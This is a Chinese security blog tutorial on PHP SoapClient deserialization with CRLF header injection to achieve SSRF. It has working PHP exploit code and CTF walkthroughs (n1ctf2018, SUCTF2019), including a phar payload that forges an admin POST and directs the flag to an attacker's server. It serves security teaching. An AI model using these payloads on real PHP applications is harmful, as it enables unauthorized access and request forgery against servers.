技术分享
SoapClient反序列化SSRF
2019-09-02 15:22

序列化中的魔术方法

https://www.php.net/manual/zh/language.oop5.magic.php

construct(), destruct(), call(), callStatic(), get(), set(), isset(), unset(), sleep(), wakeup(), toString(), invoke(), set_state(), clone() 和 __debugInfo() 等方法在 PHP 中被称为魔术方法(Magic methods)


php中的内置类

<?php

$classes = get_declared_classes();

foreach ($classes as $class) {
   $methods = get_class_methods($class);
   foreach ($methods as $method) {
       if (in_array($method, array(
           '__destruct',
           '__toString',
           '__wakeup',
           '__call',
           '__callStatic',
           '__get',
           '__set',
           '__isset',
           '__unset',
           '__invoke',
           '__set_state'
       ))) {
           print $class . '::' . $method . "\n";
       }
   }
}


SoapClient __call方法

SOAP : Simple Object Access Protocol简单对象访问协议

采用HTTP作为底层通讯协议,XML作为数据传送的格式

__call方法: https://www.php.net/manual/zh/soapclient.call.php

首先测试下正常情况下的SoapClient类,调用一个不存在的函数,会去调用__call方法

<?php

$a = new SoapClient(null,array('uri'=>'bbb', 'location'=>'http://127.0.0.1:5555/path'));

$b = serialize($a);

echo $b;

$c = unserialize($b);

$c->not_exists_function();

1.jpg

2.jpg


CRLF漏洞

从上图可以看到,SOAPAction处可控,可以把\x0d\x0a注入到SOAPAction,POST请求的header就可以被控制

<?php

$a = new SoapClient(null,array('uri'=>"bbb\r\n\r\nccc\r\n", 'location'=>'http://127.0.0.1:5555/path'));

$b = serialize($a);

echo $b;

$c = unserialize($b);

$c->not_exists_function();

3.jpg

但Content-Type在SOAPAction的上面,就无法控制Content-Typ,也就不能控制POST的数据

在header里User-Agent在Content-Type前面

https://www.php.net/manual/zh/soapclient.soapclient.php
 :

The user_agent option specifies string to use in User-Agent header.
user_agent同样可以注入CRLF,控制Content-Type的值

wupco

<?php

$target = 'http://127.0.0.1:5555/path';

$post_string = 'data=something';

$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=my_session'
    );

$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'      => "aaab"));

$aaa = serialize($b);

$aaa = str_replace('^^',"\r\n",$aaa);

$aaa = str_replace('&','&',$aaa);

echo $aaa;

$c = unserialize($aaa);

$c->not_exists_function();

?>

5.jpg

6.jpg

如上,使用SoapClient反序列化+CRLF可以生成任意POST请求。

Deserialization + __call + SoapClient + CRLF = SSRF

CTF题目

以下只关注SSRF的利用,其他知识点不再赘述

n1ctf2018 easy_harder_php

https://github.com/Nu1LCTF/n1ctf-2018/tree/master/source/web/easy_harder_php

拿到admin密码之后,需要从127.0.0.1登陆,用到SSRF,通过注入a`, {serialize object});#引发反序列化漏洞

7.jpg

反序列化后的SoapClient对象去调用不存在的getcountry方法,调用__call,实现SSRF

控制PHPSESSID为自己的session,SSRF来进行admin登陆

<?php

$target = 'http://127.0.0.1/index.php?action=login';

$post_string = 'username=admin&password=nu1ladmin&code=cf44f3147ab331af7d66943d888c86f9';

$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
    );

$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'      => "aaab"));

$aaa = serialize($b);

$aaa = str_replace('^^',"\r\n",$aaa);

$aaa = str_replace('&','&',$aaa);

echo bin2hex($aaa);

?>

再使用上面的PHPSESSID访问,就是admin了

SUCTF2019 upload-lab2

https://github.com/team-su/SUCTF-2019/tree/master/Web/Upload%20Labs%202

题目可以上传文件,检查文件类型

在admin.php中

if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){

if(isset($_POST['admin'])){
       
        $ip = $_POST['ip'];     //你用来获取flag的服务器ip
        $port = $_POST['port']; //你用来获取flag的服务器端口

        $clazz = $_POST['clazz'];
        $func1 = $_POST['func1'];
        $func2 = $_POST['func2'];
        $func3 = $_POST['func3'];
        $arg1 = $_POST['arg1'];
        $arg2 = $_POST['arg2'];
        $arg2 = $_POST['arg3'];
        $admin = new Ad($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3);
        $admin->check();
    }
}

需要通过本地来访问,执行$admin->check();

在Ad类中

    function __destruct(){
        getFlag($this->ip, $this->port);
        //使用你自己的服务器监听一个确保可以收到消息的端口来获取flag
    }

直接就能拿到flag

在class.php中,File类的getMIME方法调用了finfo_file函数

    function getMIME(){
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $this->type = finfo_file($finfo, $this->file_name);
        finfo_close($finfo);
    }

finfo_file/finfo_buffer/mime_content_type均通过_php_finfo_get_type间接调用了关键函数php_stream_open_wrapper_ex,导致均可以使用phar://触发 phar反序列化

File类的__wakeup方法通过反射初始化了一个类并调用了其check成员方法。将类名改为SoapClient,调用check方法时就会去调用__call方法,实现SSRF

exp:

<?php

$phar = new Phar('test.phar');

$phar->startBuffering();

$phar->addFromString('test.txt','text');

$phar->setStub('<script language="php">__HALT_COMPILER();</script>');

class File {
    public $file_name = "";
    public $func = "SoapClient";

    function __construct(){
        $target = "
http://127.0.0.1/admin.php";
        $post_string =

'admin=&ip=111.111.111.111&port=1111&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3='. "\r\n";
        $headers = [];
        $this->file_name  = [
            null,
            array('location' => $target,
                  'user_agent'=> str_replace('^^', "\r\n", 'xxxxx^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string),
                  'uri'=>'hello')
        ];
    }
}
$object = new File;
echo urlencode(serialize($object));
$phar->setMetadata($object);
$phar->stopBuffering();


Referer

https://www.anquanke.com/post/id/153065

https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html

https://xz.aliyun.com/t/2148


相关实验推荐:SSRF攻击与防御 

点击前往 合天网安实验室 开始做实验哦~

上一篇:MySQL客户端攻击链的探索
下一篇:利用白加黑配合Veil过杀软
版权所有 合天智汇信息技术有限公司 2013-2018 湘ICP备14001562号-6
Copyright © 2013-2018 Heetian Corporation, All rights reserved
4006-123-731